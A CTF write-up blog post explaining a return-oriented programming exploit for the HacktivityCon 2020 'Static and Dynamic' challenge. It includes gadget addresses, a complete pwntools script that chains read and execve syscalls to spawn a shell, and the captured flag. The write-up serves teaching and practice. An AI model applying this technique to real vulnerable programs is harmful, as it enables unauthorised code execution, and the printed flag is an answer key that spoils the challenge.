My First ROP Chain - HacktivityCon 2020 Static and Dynamic Writeup
- Posted: July 31, 2020
- Updated: December 2, 2020
Hacktivity CON 2020 was a CTF my team and I participated in and finished fourth, one place away from the prize pool. It was a great CTF and we all learned a lot while having quite some fun. One of the pwn challenges, “Static and Dynamic” was my first experience at a Return Oriented Programming (ROP) Chain exploit, so let’s break it down.
Description
Starting up the program, we can see a simple prompt that takes in a user input and segfaults if it overflows.
This is a really big binary. Hope you have everything you need ;)
tttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt
[1] 247339 segmentation fault (core dumped) ./sad
Looking at this executable in radare2 we find that there’s a buffer of length 0x100
and the return pointer shows up after another 8 bytes of padding. By showing the memory maps (with dm
) after runtime, we can see that the stack, where our input goes is not executable:
0x00007ffddf880000 - 0x00007ffddf8a1000 - usr 132K s rw- [stack] [stack] ; map.stack_.rw
Exploitation
So instead of writing shellcode (because it can’t be executed), we can use a ROP Chain to eventually call execve
with /bin/sh
and spawn a shell. First though, we need to find the 5 gadgets1 below to be able to exploit. The address where they are located are also included and are part of the python exploit script.
POP_RDI = p64(0x00481a89) # pop rdi, ret
POP_RSI = p64(0x00481fd7) # pop rsi, ret
POP_RDX = p64(0x0040177f) # pop rdx, ret
POP_RAX = p64(0x0043f8d7) # pop rax, ret
SYSCALL = p64(0x0040eda4) # syscall, ret
Now that we have found our gadgets, we need to determine the exact arguments (which use the registers rdi
, rsi
, and rdx
, with the syscall number in rax
) for read
and execve
. The read
syscall takes in a file descriptor, pointer to a buffer to read into, and a count for the number of bytes to read in. In our case, we use 0
as the file descriptor for stdin
and the buffer needs to be at some offset2 in writable memory. Let’s use 0x4b0310
which can be found by looking at the writable memory maps and finding many null bytes. Before we understand the length, let’s take a look at the arguments for execve
.
execve
takes a pointer to a pathname, a pointer to an array of char *
arguments to pass to the program, and a pointer to an array of char *
environment variables. In our case, the pathname pointer will be 0x4b0310
which is where we will write /bin/sh
and the arguments will be read in by the read
right after the /bin/sh
so we will use 0x4b0318
.3 These arguments need to be pointers to strings and, as we know, argv[0]
is the program name so for simplicity we can have it point back to the /bin/sh
. We end off with a null pointer to signify the end of the array. Finally, the environment variables can just be a null pointer for an empty array. Below is the full payload which read
will read in as Python bytes:
b'/bin/sh\x00\x10\x03\x4b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
# pathname: /bin/sh\x00
# argv[0]: \x10\x03\x4b\x00\x00\x00\x00\x00
# argv end: \x00\x00\x00\x00\x00\x00\x00\x00
Jumping back to our read
call, this gives us a final length of 24
and a final ROP Chain exploit which looks as follows:
from pwn import *
import sys
p = process("./sad")
# p = remote('jh2i.com', 50002)
POP_RDI = p64(0x00481a89) # pop rdi, ret
POP_RSI = p64(0x00481fd7) # pop rsi, ret
POP_RDX = p64(0x0040177f) # pop rdx, ret
POP_RAX = p64(0x0043f8d7) # pop rax, ret
SYSCALL = p64(0x0040eda4) # syscall, ret
WRITE_OFFSET = 0x4b0310
WRITE = b"/bin/sh\x00" + p64(WRITE_OFFSET) + p64(0)
ROP_CHAIN = b"A" * (256 + 8)\
+ POP_RDI \
+ p64(0) \
+ POP_RSI \
+ p64(WRITE_OFFSET) \
+ POP_RDX \
+ p64(len(WRITE)) \
+ POP_RAX \
+ p64(0) \
+ SYSCALL \
+ POP_RDI \
+ p64(WRITE_OFFSET) \
+ POP_RSI \
+ p64(WRITE_OFFSET + len(b"/bin/sh\x00")) \
+ POP_RDX \
+ p64(0) \
+ POP_RAX \
+ p64(59) \
+ SYSCALL \
p.sendline(ROP_CHAIN)
p.sendline(WRITE)
p.interactive()
Every gadget will pop the pointer after it, so the first two lines of the ROP_CHAIN
will place 0x0000000000000000
into rdi
, 0x4b0310
(WRITE_OFFSET
) into rdx
and so on. The 0
and 59
used for rax
are the system call numbers for read
and execve
.
And bam, we get a shell and the flag.
$ ls
flag.txt
sad
$ cat flag.txt
flag{radically_statically_roppingly_vulnerable}
A gadget is a tiny snip of assembly in executable memory that we can run for a useful purpose. In this case they will be used to place values into registers and execute a syscall. ↩︎
The executable doesn’t have PIE enabled, so we know this offset will be constant. ↩︎
This is
0x4b0310 + 8
because/bin/sh
is 7 characters, plus the null byte at the end. ↩︎